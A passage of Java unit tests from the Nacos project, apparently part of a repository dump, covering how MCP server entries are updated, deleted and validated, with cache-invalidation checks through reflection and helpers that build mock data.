serverOperationService.updateMcpServer(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, true,\n                        mockServerBasicInfo, null, null, false));\n    }\n    \n    @Test\n    void updateMcpServerByIdWithOldSpec() throws NacosException {\n        String id = mockId();\n        McpServerVersionInfo mockServerBasicInfo = mockServerVersionInfo(id);\n        mockServerBasicInfo.setVersionDetail(null);\n        mockServerBasicInfo.setVersion(\"1.0.0\");\n        ConfigQueryChainResponse response = mockConfigQueryChainResponse(mockServerBasicInfo);\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(response);\n        serverOperationService.updateMcpServer(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, true, mockServerBasicInfo, null,\n                null, false);\n        verify(configOperationService, times(2)).publishConfig(any(ConfigFormV3.class), any(ConfigRequestInfo.class),\n                isNull());\n        verify(mcpServerIndex, times(1)).removeMcpServerByName(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE,\n                mockServerBasicInfo.getName());\n        verify(mcpServerIndex, times(1)).removeMcpServerById(id);\n    }\n    \n    @Test\n    void updateMcpServerByIdWithNewSpec() throws NacosException {\n        String id = mockId();\n        McpServerVersionInfo mockServerBasicInfo = mockServerVersionInfo(id);\n        mockServerBasicInfo.setVersionDetail(mockVersion(\"9.9.9\"));\n        mockServerBasicInfo.setVersion(null);\n        ConfigQueryChainResponse response = mockConfigQueryChainResponse(mockServerBasicInfo);\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(response);\n        serverOperationService.updateMcpServer(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, true, mockServerBasicInfo, null,\n                null, false);\n        verify(configOperationService, times(2)).publishConfig(any(ConfigFormV3.class), any(ConfigRequestInfo.class),\n                isNull());\n        verify(mcpServerIndex, times(1)).removeMcpServerByName(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE,\n                mockServerBasicInfo.getName());\n        verify(mcpServerIndex, times(1)).removeMcpServerById(id);\n    }\n    \n    @Test\n    void updateMcpServerByIdNewVersion() throws NacosException {\n        String id = mockId();\n        McpServerVersionInfo mockServerBasicInfo = mockServerVersionInfo(id);\n        mockServerBasicInfo.setVersionDetail(mockVersion(\"1.0.1\"));\n        mockServerBasicInfo.setVersion(null);\n        ConfigQueryChainResponse response = mockConfigQueryChainResponse(mockServerBasicInfo);\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(response);\n        serverOperationService.updateMcpServer(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, true, mockServerBasicInfo, null,\n                null, false);\n        verify(configOperationService, times(2)).publishConfig(any(ConfigFormV3.class), any(ConfigRequestInfo.class),\n                isNull());\n        verify(mcpServerIndex, times(1)).removeMcpServerByName(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE,\n                mockServerBasicInfo.getName());\n        verify(mcpServerIndex, times(1)).removeMcpServerById(id);\n    }\n    \n    @Test\n    void updateMcpServerByNameNotFound() {\n        McpServerVersionInfo mockServerBasicInfo = mockServerVersionInfo(null);\n        assertThrows(NacosApiException.class,\n                () -> serverOperationService.updateMcpServer(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, true,\n                        mockServerBasicInfo, null, null, false));\n    }\n    \n    @Test\n    void updateMcpServerByNameFound() throws NacosException {\n        String id = mockId();\n        McpServerVersionInfo mockServerBasicInfo = mockServerVersionInfo(null);\n        when(mcpServerIndex.getMcpServerByName(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, \"mcpName\")).thenReturn(\n                mockIndexData(id).getPageItems().get(0));\n        mockServerBasicInfo.setVersionDetail(mockVersion(\"9.9.9\"));\n        ConfigQueryChainResponse response = mockConfigQueryChainResponse(mockServerBasicInfo);\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(response);\n        serverOperationService.updateMcpServer(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, true, mockServerBasicInfo, null,\n                null, false);\n        verify(configOperationService, times(2)).publishConfig(any(ConfigFormV3.class), any(ConfigRequestInfo.class),\n                isNull());\n        verify(mcpServerIndex, times(1)).removeMcpServerByName(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, \"mcpName\");\n        verify(mcpServerIndex, times(1)).removeMcpServerById(id);\n    }\n\n    @Test\n    void updateMcpServerWithEncryptedToolSpecOnly() throws NacosException {\n        String id = mockId();\n        McpServerVersionInfo existing = mockServerVersionInfo(id);\n        ConfigQueryChainResponse response = mockConfigQueryChainResponse(existing);\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(response);\n\n        McpServerVersionInfo updateSpec = mockServerVersionInfo(id);\n        updateSpec.setVersionDetail(mockVersion(\"1.0.1\"));\n\n        McpToolSpecification toolSpecification = new McpToolSpecification();\n        toolSpecification.setSpecificationType(\"encrypted\");\n        EncryptObject encryptObject = new EncryptObject();\n        encryptObject.setData(\"ciphertext\");\n        toolSpecification.setEncryptData(encryptObject);\n\n        serverOperationService.updateMcpServer(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, true, updateSpec,\n                toolSpecification, null, false);\n\n        verify(toolOperationService, times(1)).refreshMcpTool(eq(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE),\n                any(McpServerStorageInfo.class), eq(toolSpecification));\n        verify(configOperationService, times(2)).publishConfig(any(ConfigFormV3.class), any(ConfigRequestInfo.class),\n                isNull());\n        verify(mcpServerIndex, times(1)).removeMcpServerByName(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE,\n                updateSpec.getName());\n        verify(mcpServerIndex, times(1)).removeMcpServerById(id);\n    }\n    \n    @Test\n    void deleteMcpServerByIdNotFound() {\n        String id = mockId();\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(\n                mockConfigQueryChainResponse(null));\n        assertThrows(NacosApiException.class,\n                () -> serverOperationService.deleteMcpServer(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, null, id, null));\n    }\n    \n    @Test\n    void deleteMcpServerById() throws NacosException {\n        String id = mockId();\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(\n                mockConfigQueryChainResponse(mockServerVersionInfo(id)));\n        serverOperationService.deleteMcpServer(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, null, id, null);\n\n        ArgumentCaptor<String> captor = ArgumentCaptor.forClass(String.class);\n        verify(endpointOperationService, times(2))\n                .deleteMcpServerEndpointService(eq(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE), captor.capture());\n        List<String> allArgs = captor.getAllValues();\n        assertEquals(2, allArgs.size(), \"The actual number of calls does not match the expectation.\");\n        assertTrue(allArgs.contains(\"mcpName::1.0.0\"), \"Missing deletion call for version 1.0.0\");\n        assertTrue(allArgs.contains(\"mcpName::9.9.9\"), \"Missing deletion call for version 9.9.9\");\n\n        String serverVersionDataId = McpConfigUtils.formatServerVersionInfoDataId(id);\n        verify(configOperationService, times(2)).deleteConfig(serverVersionDataId, Constants.MCP_SERVER_VERSIONS_GROUP,\n                AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, null, null, \"nacos\", null);\n        verify(mcpServerIndex, times(0)).removeMcpServerByName(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, null);\n        verify(mcpServerIndex, times(1)).removeMcpServerById(id);\n        for (ServerVersionDetail each : mockServerVersionInfo(id).getVersionDetails()) {\n            verify(toolOperationService).deleteMcpTool(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, id, each.getVersion());\n            String serverSpecDataId = McpConfigUtils.formatServerSpecInfoDataId(id, each.getVersion());\n            verify(configOperationService).deleteConfig(serverSpecDataId, Constants.MCP_SERVER_GROUP,\n                    AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, null, null, \"nacos\", null);\n        }\n    }\n    \n    @Test\n    void deleteMcpServerByName() throws NacosException {\n        String id = mockId();\n        McpServerVersionInfo mockServerBasicInfo = mockServerVersionInfo(null);\n        when(mcpServerIndex.getMcpServerByName(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, \"mcpName\")).thenReturn(\n                mockIndexData(id).getPageItems().get(0));\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(\n                mockConfigQueryChainResponse(mockServerBasicInfo));\n        serverOperationService.deleteMcpServer(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, \"mcpName\", null, null);\n\n        ArgumentCaptor<String> captor = ArgumentCaptor.forClass(String.class);\n        verify(endpointOperationService, times(2))\n                .deleteMcpServerEndpointService(eq(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE), captor.capture());\n        List<String> allArgs = captor.getAllValues();\n        assertEquals(2, allArgs.size(), \"The actual number of calls does not match the expectation.\");\n        assertTrue(allArgs.contains(\"mcpName::1.0.0\"), \"Missing deletion call for version 1.0.0\");\n        assertTrue(allArgs.contains(\"mcpName::9.9.9\"), \"Missing deletion call for version 9.9.9\");\n\n        verify(mcpServerIndex, times(1)).removeMcpServerByName(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, \"mcpName\");\n        verify(mcpServerIndex, times(0)).removeMcpServerById(null);\n        String serverVersionDataId = McpConfigUtils.formatServerVersionInfoDataId(id);\n        verify(configOperationService, times(2)).deleteConfig(serverVersionDataId, Constants.MCP_SERVER_VERSIONS_GROUP,\n                AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, null, null, \"nacos\", null);\n        for (ServerVersionDetail each : mockServerVersionInfo(id).getVersionDetails()) {\n            verify(toolOperationService).deleteMcpTool(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, id, each.getVersion());\n            String serverSpecDataId = McpConfigUtils.formatServerSpecInfoDataId(id, each.getVersion());\n            verify(configOperationService).deleteConfig(serverSpecDataId, Constants.MCP_SERVER_GROUP,\n                    AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, null, null, \"nacos\", null);\n        }\n    }\n    \n    @Test\n    void deleteMcpServerForTargetVersion() throws NacosException {\n        String id = mockId();\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(\n                mockConfigQueryChainResponse(mockServerVersionInfo(id)));\n        serverOperationService.deleteMcpServer(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, null, id, \"1.0.0\");\n        verify(mcpServerIndex, times(0)).removeMcpServerByName(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, null);\n        verify(mcpServerIndex, times(1)).removeMcpServerById(id);\n        verify(endpointOperationService).deleteMcpServerEndpointService(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE,\n                \"mcpName::1.0.0\");\n        String serverVersionDataId = McpConfigUtils.formatServerVersionInfoDataId(id);\n        verify(configOperationService).deleteConfig(serverVersionDataId, Constants.MCP_SERVER_VERSIONS_GROUP,\n                AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, null, null, \"nacos\", null);\n        verify(toolOperationService).deleteMcpTool(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, id, \"1.0.0\");\n        String serverSpecDataId = McpConfigUtils.formatServerSpecInfoDataId(id, \"1.0.0\");\n        verify(configOperationService).deleteConfig(serverSpecDataId, Constants.MCP_SERVER_GROUP,\n                AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, null, null, \"nacos\", null);\n    }\n    \n    @Test\n    void invalidateCacheAfterDbUpdateOperationWithDifferentNames() {\n        String namespaceId = AiConstants.Mcp.MCP_DEFAULT_NAMESPACE;\n        String oldMcpName = \"oldName\";\n        String newMcpName = \"newName\";\n        String mcpServerId = mockId();\n        \n        // 使用反射调用私有方法\n        try {\n            java.lang.reflect.Method method = McpServerOperationService.class.getDeclaredMethod(\n                    \"invalidateCacheAfterDbUpdateOperation\", String.class, String.class, String.class, String.class);\n            method.setAccessible(true);\n            method.invoke(serverOperationService, namespaceId, oldMcpName, newMcpName, mcpServerId);\n            \n            // 验证方法调用\n            verify(mcpServerIndex, times(1)).removeMcpServerByName(namespaceId, oldMcpName);\n            verify(mcpServerIndex, times(1)).removeMcpServerByName(namespaceId, newMcpName);\n            verify(mcpServerIndex, times(1)).removeMcpServerById(mcpServerId);\n        } catch (Exception e) {\n            throw new RuntimeException(e);\n        }\n    }\n    \n    @Test\n    void invalidateCacheAfterDbUpdateOperationWithSameNames() {\n        String namespaceId = AiConstants.Mcp.MCP_DEFAULT_NAMESPACE;\n        String oldMcpName = \"sameName\";\n        String newMcpName = \"sameName\";\n        String mcpServerId = mockId();\n        \n        // 使用反射调用私有方法\n        try {\n            java.lang.reflect.Method method = McpServerOperationService.class.getDeclaredMethod(\n                    \"invalidateCacheAfterDbUpdateOperation\", String.class, String.class, String.class, String.class);\n            method.setAccessible(true);\n            method.invoke(serverOperationService, namespaceId, oldMcpName, newMcpName, mcpServerId);\n            \n            // 验证方法调用\n            // 当名称相同时，只调用一次removeMcpServerByName\n            verify(mcpServerIndex, times(1)).removeMcpServerByName(namespaceId, newMcpName);\n            verify(mcpServerIndex, times(1)).removeMcpServerById(mcpServerId);\n        } catch (Exception e) {\n            throw new RuntimeException(e);\n        }\n    }\n    \n    @Test\n    void invalidateCacheAfterDbUpdateOperationWithEmptyNames() {\n        String namespaceId = AiConstants.Mcp.MCP_DEFAULT_NAMESPACE;\n        String oldMcpName = \"\";\n        String newMcpName = \"\";\n        String mcpServerId = mockId();\n        \n        // 使用反射调用私有方法\n        try {\n            java.lang.reflect.Method method = McpServerOperationService.class.getDeclaredMethod(\n                    \"invalidateCacheAfterDbUpdateOperation\", String.class, String.class, String.class, String.class);\n            method.setAccessible(true);\n            method.invoke(serverOperationService, namespaceId, oldMcpName, newMcpName, mcpServerId);\n            \n            // 验证方法调用\n            // 当名称为空时，不调用removeMcpServerByName\n            verify(mcpServerIndex, never()).removeMcpServerByName(anyString(), anyString());\n            verify(mcpServerIndex, times(1)).removeMcpServerById(mcpServerId);\n        } catch (Exception e) {\n            throw new RuntimeException(e);\n        }\n    }\n    \n    @Test\n    void invalidateCacheAfterDbOperation() {\n        String namespaceId = AiConstants.Mcp.MCP_DEFAULT_NAMESPACE;\n        String mcpName = \"testName\";\n        String mcpServerId = mockId();\n        \n        // 使用反射调用私有方法\n        try {\n            java.lang.reflect.Method method = McpServerOperationService.class.getDeclaredMethod(\n                    \"invalidateCacheAfterDbOperation\", String.class, String.class, String.class);\n            method.setAccessible(true);\n            method.invoke(serverOperationService, namespaceId, mcpName, mcpServerId);\n            \n            // 验证方法调用\n            verify(mcpServerIndex, times(1)).removeMcpServerByName(namespaceId, mcpName);\n            verify(mcpServerIndex, times(1)).removeMcpServerById(mcpServerId);\n        } catch (Exception e) {\n            throw new RuntimeException(e);\n        }\n    }\n    \n    @Test\n    void invalidateCacheAfterDbOperationWithEmptyName() {\n        String namespaceId = AiConstants.Mcp.MCP_DEFAULT_NAMESPACE;\n        String mcpName = \"\";\n        String mcpServerId = mockId();\n        \n        // 使用反射调用私有方法\n        try {\n            java.lang.reflect.Method method = McpServerOperationService.class.getDeclaredMethod(\n                    \"invalidateCacheAfterDbOperation\", String.class, String.class, String.class);\n            method.setAccessible(true);\n            method.invoke(serverOperationService, namespaceId, mcpName, mcpServerId);\n            \n            // 验证方法调用\n            // 当名称为空时，不调用removeMcpServerByName\n            verify(mcpServerIndex, never()).removeMcpServerByName(anyString(), anyString());\n            verify(mcpServerIndex, times(1)).removeMcpServerById(mcpServerId);\n        } catch (Exception e) {\n            throw new RuntimeException(e);\n        }\n    }\n    \n    @Test\n    void invalidateCacheAfterDbOperationWithEmptyId() {\n        String namespaceId = AiConstants.Mcp.MCP_DEFAULT_NAMESPACE;\n        String mcpName = \"testName\";\n        String mcpServerId = \"\";\n        \n        // 使用反射调用私有方法\n        try {\n            java.lang.reflect.Method method = McpServerOperationService.class.getDeclaredMethod(\n                    \"invalidateCacheAfterDbOperation\", String.class, String.class, String.class);\n            method.setAccessible(true);\n            method.invoke(serverOperationService, namespaceId, mcpName, mcpServerId);\n            \n            // 验证方法调用\n            verify(mcpServerIndex, times(1)).removeMcpServerByName(namespaceId, mcpName);\n            // 当ID为空时，不调用removeMcpServerById\n            verify(mcpServerIndex, never()).removeMcpServerById(anyString());\n        } catch (Exception e) {\n            throw new RuntimeException(e);\n        }\n    }\n    \n    @Test\n    void invalidateCacheAfterDbOperationWithException() throws Exception {\n        String namespaceId = AiConstants.Mcp.MCP_DEFAULT_NAMESPACE;\n        String mcpName = \"testName\";\n        String mcpServerId = mockId();\n        \n        // 模拟mcpServerIndex抛出异常\n        doThrow(new RuntimeException(\"Test exception\")).when(mcpServerIndex).removeMcpServerByName(namespaceId, mcpName);\n        \n        // 使用反射调用私有方法\n        java.lang.reflect.Method method = McpServerOperationService.class.getDeclaredMethod(\n                \"invalidateCacheAfterDbOperation\", String.class, String.class, String.class);\n        method.setAccessible(true);\n        method.invoke(serverOperationService, namespaceId, mcpName, mcpServerId);\n        \n        // 验证方法被调用，即使有异常\n        verify(mcpServerIndex, times(1)).removeMcpServerByName(namespaceId, mcpName);\n        verify(mcpServerIndex, never()).removeMcpServerById(mcpServerId);\n    }\n    \n    @Test\n    void invalidateCacheAfterDbUpdateOperationWithException() throws Exception {\n        String namespaceId = AiConstants.Mcp.MCP_DEFAULT_NAMESPACE;\n        String oldMcpName = \"oldName\";\n        String newMcpName = \"newName\";\n        String mcpServerId = mockId();\n        \n        // 模拟mcpServerIndex抛出异常\n        doThrow(new RuntimeException(\"Test exception\")).when(mcpServerIndex).removeMcpServerByName(namespaceId, oldMcpName);\n        \n        // 使用反射调用私有方法\n        java.lang.reflect.Method method = McpServerOperationService.class.getDeclaredMethod(\n                \"invalidateCacheAfterDbUpdateOperation\", String.class, String.class, String.class, String.class);\n        method.setAccessible(true);\n        method.invoke(serverOperationService, namespaceId, oldMcpName, newMcpName, mcpServerId);\n        \n        verify(mcpServerIndex, times(1)).removeMcpServerByName(namespaceId, oldMcpName);\n        verify(mcpServerIndex, never()).removeMcpServerByName(namespaceId, newMcpName);\n        verify(mcpServerIndex, never()).removeMcpServerById(mcpServerId);\n    }\n\n    private Page<McpServerIndexData> mockIndexData(String id) {\n        Page<McpServerIndexData> indexDataPage = new Page<>();\n        indexDataPage.setPageNumber(1);\n        indexDataPage.setPagesAvailable(1);\n        indexDataPage.setTotalCount(1);\n        indexDataPage.getPageItems().add(new McpServerIndexData());\n        indexDataPage.getPageItems().get(0).setId(id);\n        indexDataPage.getPageItems().get(0).setNamespaceId(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE);\n        return indexDataPage;\n    }\n    \n    private ConfigQueryChainResponse mockConfigQueryChainResponse(Object obj) {\n        ConfigQueryChainResponse mockResponse = new ConfigQueryChainResponse();\n        if (null != obj) {\n            mockResponse.setContent(JacksonUtils.toJson(obj));\n            mockResponse.setStatus(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_FORMAL);\n        } else {\n            mockResponse.setStatus(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_NOT_FOUND);\n        }\n        return mockResponse;\n    }\n    \n    private McpServerVersionInfo mockServerVersionInfo(String id) {\n        McpServerVersionInfo serverVersionInfo = new McpServerVersionInfo();\n        serverVersionInfo.setId(id);\n        serverVersionInfo.setName(\"mcpName\");\n        serverVersionInfo.setLatestPublishedVersion(\"9.9.9\");\n        List<ServerVersionDetail> versionDetails = new LinkedList<>();\n        versionDetails.add(mockVersion(\"1.0.0\"));\n        versionDetails.add(mockVersion(\"9.9.9\"));\n        serverVersionInfo.setVersions(versionDetails);\n        return serverVersionInfo;\n    }\n    \n    private ServerVersionDetail mockVersion(String version) {\n        ServerVersionDetail versionDetail = new ServerVersionDetail();\n        versionDetail.setVersion(version);\n        return versionDetail;\n    }\n    \n    private McpServerStorageInfo mockStorageInfo(String id, boolean isLatest, boolean withTools, String protocol) {\n        McpServerStorageInfo storageInfo = new McpServerStorageInfo();\n        storageInfo.setId(id);\n        storageInfo.setProtocol(protocol);\n        storageInfo.setName(\"mcpName\");\n        String version = isLatest ? \"9.9.9\" : \"1.0.0\";\n        storageInfo.setVersion(version);\n        storageInfo.setVersionDetail(mockVersion(version));\n        storageInfo.setToolsDescriptionRef(withTools ? McpConfigUtils.formatServerToolSpecDataId(id, version) : null);\n        return storageInfo;\n    }\n    \n    private String mockId() {\n        return UUID.randomUUID().toString();\n    }\n}"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/service/McpServerValidationServiceTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.service;\n\nimport com.alibaba.nacos.ai.constant.McpServerValidationConstants;\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerDetailInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerImportValidationResult;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerRemoteServiceConfig;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerValidationItem;\nimport com.alibaba.nacos.api.ai.model.mcp.McpTool;\nimport com.alibaba.nacos.api.ai.model.mcp.McpToolSpecification;\nimport com.alibaba.nacos.api.ai.model.mcp.registry.Package;\nimport com.alibaba.nacos.api.ai.model.mcp.registry.ServerVersionDetail;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\nimport org.springframework.test.util.ReflectionTestUtils;\n\nimport java.lang.reflect.Method;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.HashSet;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\nimport java.util.UUID;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.anyString;\nimport static org.mockito.ArgumentMatchers.nullable;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass McpServerValidationServiceTest {\n\n    private McpServerValidationService mcpServerValidationService;\n\n    @Mock\n    private McpServerOperationService mcpServerOperationService;\n\n    @BeforeEach\n    void setUp() {\n        mcpServerValidationService = new McpServerValidationService();\n        ReflectionTestUtils.setField(mcpServerValidationService, \"mcpServerOperationService\", mcpServerOperationService);\n    }\n\n    @Test\n    void validateServersWithNullServers() throws NacosException {\n        String namespaceId = \"test-namespace\";\n        McpServerImportValidationResult result = mcpServerValidationService.validateServers(namespaceId, null);\n\n        assertFalse(result.isValid());\n        assertEquals(0, result.getTotalCount());\n        assertEquals(0, result.getValidCount());\n        assertEquals(0, result.getInvalidCount());\n        assertEquals(0, result.getDuplicateCount());\n        assertNotNull(result.getErrors());\n        assertFalse(result.getErrors().isEmpty());\n    }\n\n    @Test\n    void validateServersWithEmptyServers() throws NacosException {\n        String namespaceId = \"test-namespace\";\n        McpServerImportValidationResult result = mcpServerValidationService.validateServers(namespaceId, new ArrayList<>());\n\n        assertTrue(result.isValid());\n        assertEquals(0, result.getTotalCount());\n        assertEquals(0, result.getValidCount());\n        assertEquals(0, result.getInvalidCount());\n        assertEquals(0, result.getDuplicateCount());\n        assertNotNull(result.getErrors());\n        assertTrue(result.getErrors().isEmpty());\n    }\n\n    @Test\n    void validateServersWithValidServer() throws NacosException {\n        String namespaceId = \"test-namespace\";\n        List<McpServerDetailInfo> servers = new ArrayList<>();\n\n        McpServerDetailInfo validServer = createValidServer();\n        servers.add(validServer);\n\n        when(mcpServerOperationService.getMcpServerDetail(anyString(), anyString(), anyString(), nullable(String.class))).thenReturn(null);\n\n        McpServerImportValidationResult result = mcpServerValidationService.validateServers(namespaceId, servers);\n\n        assertTrue(result.isValid());\n        assertEquals(1, result.getTotalCount());\n        assertEquals(1, result.getValidCount());\n        assertEquals(0, result.getInvalidCount());\n        assertEquals(0, result.getDuplicateCount());\n        assertNotNull(result.getServers());\n        assertEquals(1, result.getServers().size());\n        assertEquals(McpServerValidationConstants.STATUS_VALID, result.getServers().get(0).getStatus());\n    }\n\n    @Test\n    void validateServersWithInvalidServer() throws NacosException {\n        final String namespaceId = \"test-namespace\";\n        final List<McpServerDetailInfo> servers = new ArrayList<>();\n\n        McpServerDetailInfo invalidServer = new McpServerDetailInfo();\n        initializeVersionDetail(invalidServer);\n        invalidServer.setName(\"\"); // Empty name should be invalid\n        invalidServer.setProtocol(\"invalid-protocol\");\n        invalidServer.setDescription(\"\");\n\n        servers.add(invalidServer);\n\n        when(mcpServerOperationService.getMcpServerDetail(anyString(), anyString(), anyString(), nullable(String.class))).thenReturn(null);\n\n        McpServerImportValidationResult result = mcpServerValidationService.validateServers(namespaceId, servers);\n\n        assertFalse(result.isValid());\n        assertEquals(1, result.getTotalCount());\n        assertEquals(0, result.getValidCount());\n        assertEquals(1, result.getInvalidCount());\n        assertEquals(0, result.getDuplicateCount());\n        assertNotNull(result.getServers());\n        assertEquals(1, result.getServers().size());\n        assertEquals(McpServerValidationConstants.STATUS_INVALID, result.getServers().get(0).getStatus());\n    }\n\n    @Test\n    void validateServersWithDuplicateServerInBatch() throws NacosException {\n        final String namespaceId = \"test-namespace\";\n        List<McpServerDetailInfo> servers = new ArrayList<>();\n\n        McpServerDetailInfo server1 = createValidServer();\n        server1.setName(\"duplicate-server\");\n\n        McpServerDetailInfo server2 = createValidServer();\n        server2.setName(\"duplicate-server\"); // Same name as server1\n\n        servers.add(server1);\n        servers.add(server2);\n\n        when(mcpServerOperationService.getMcpServerDetail(anyString(), anyString(), anyString(), nullable(String.class))).thenReturn(null);\n\n        McpServerImportValidationResult result = mcpServerValidationService.validateServers(namespaceId, servers);\n\n        assertTrue(result.isValid());\n        assertEquals(2, result.getTotalCount());\n        assertEquals(1, result.getValidCount());\n        assertEquals(0, result.getInvalidCount());\n        assertEquals(1, result.getDuplicateCount());\n        assertNotNull(result.getServers());\n        assertEquals(2, result.getServers().size());\n        \n        McpServerValidationItem item1 = result.getServers().get(0);\n        McpServerValidationItem item2 = result.getServers().get(1);\n        \n        // First one should be valid\n        assertEquals(McpServerValidationConstants.STATUS_VALID, item1.getStatus());\n        // Second one should be duplicate\n        assertEquals(McpServerValidationConstants.STATUS_DUPLICATE, item2.getStatus());\n    }\n\n    @Test\n    void validateServersWithExistingServer() throws NacosException {\n        final String namespaceId = \"test-namespace\";\n        List<McpServerDetailInfo> servers = new ArrayList<>();\n\n        McpServerDetailInfo server = createValidServer();\n        server.setName(\"existing-server\");\n\n        servers.add(server);\n\n        // Mock that server already exists\n        McpServerDetailInfo existingServer = createValidServer();\n        existingServer.setId(UUID.randomUUID().toString());\n        when(mcpServerOperationService.getMcpServerDetail(anyString(), anyString(), anyString(), nullable(String.class))).thenReturn(existingServer);\n\n        McpServerImportValidationResult result = mcpServerValidationService.validateServers(namespaceId, servers);\n\n        assertTrue(result.isValid());\n        assertEquals(1, result.getTotalCount());\n        assertEquals(0, result.getValidCount());\n        assertEquals(0, result.getInvalidCount());\n        assertEquals(1, result.getDuplicateCount());\n        assertNotNull(result.getServers());\n        assertEquals(1, result.getServers().size());\n        McpServerValidationItem item = result.getServers().get(0);\n        assertEquals(McpServerValidationConstants.STATUS_DUPLICATE, item.getStatus());\n        assertTrue(item.isExists());\n    }\n\n    @Test\n    void validateServersWithExceptionDuringValidation() throws NacosException {\n        String namespaceId = \"test-namespace\";\n        List<McpServerDetailInfo> servers = new ArrayList<>();\n\n        McpServerDetailInfo server = createValidServer();\n        servers.add(server);\n\n        // Mock exception during validation\n        when(mcpServerOperationService.getMcpServerDetail(anyString(), anyString(), anyString(), nullable(String.class)))\n                .thenThrow(new RuntimeException(\"Test exception\"));\n\n        McpServerImportValidationResult result = mcpServerValidationService.validateServers(namespaceId, servers);\n\n        assertFalse(result.isValid());\n        assertEquals(1, result.getTotalCount());\n        assertEquals(0, result.getValidCount());\n        assertEquals(1, result.getInvalidCount());\n        assertEquals(0, result.getDuplicateCount());\n        assertNotNull(result.getErrors());\n        assertTrue(result.getErrors().isEmpty());\n    }\n\n    @Test\n    void validateSingleServerWithValidServer() throws Exception {\n        String namespaceId = \"test-namespace\";\n        McpServerDetailInfo server = createValidServer();\n        server.setName(\"valid-server\");\n\n        when(mcpServerOperationService.getMcpServerDetail(anyString(), anyString(), anyString(), nullable(String.class))).thenReturn(null);\n\n        // 使用反射调用私有方法\n        Method method = McpServerValidationService.class.getDeclaredMethod(\n                \"validateSingleServer\", String.class, McpServerDetailInfo.class, Set.class);\n        method.setAccessible(true);\n        McpServerValidationItem item = (McpServerValidationItem) method.invoke(\n                mcpServerValidationService, namespaceId, server, new HashSet<>());\n\n        assertNotNull(item);\n        assertEquals(\"valid-server\", item.getServerName());\n        assertEquals(McpServerValidationConstants.STATUS_VALID, item.getStatus());\n        assertNotNull(item.getErrors());\n        assertTrue(item.getErrors().isEmpty());\n        assertFalse(item.isExists());\n        assertEquals(server, item.getServer());\n    }\n\n    @Test\n    void validateSingleServerWithMissingName() throws Exception {\n        final String namespaceId = \"test-namespace\";\n        McpServerDetailInfo server = new McpServerDetailInfo();\n        initializeVersionDetail(server);\n        server.setName(\"\"); // Empty name\n        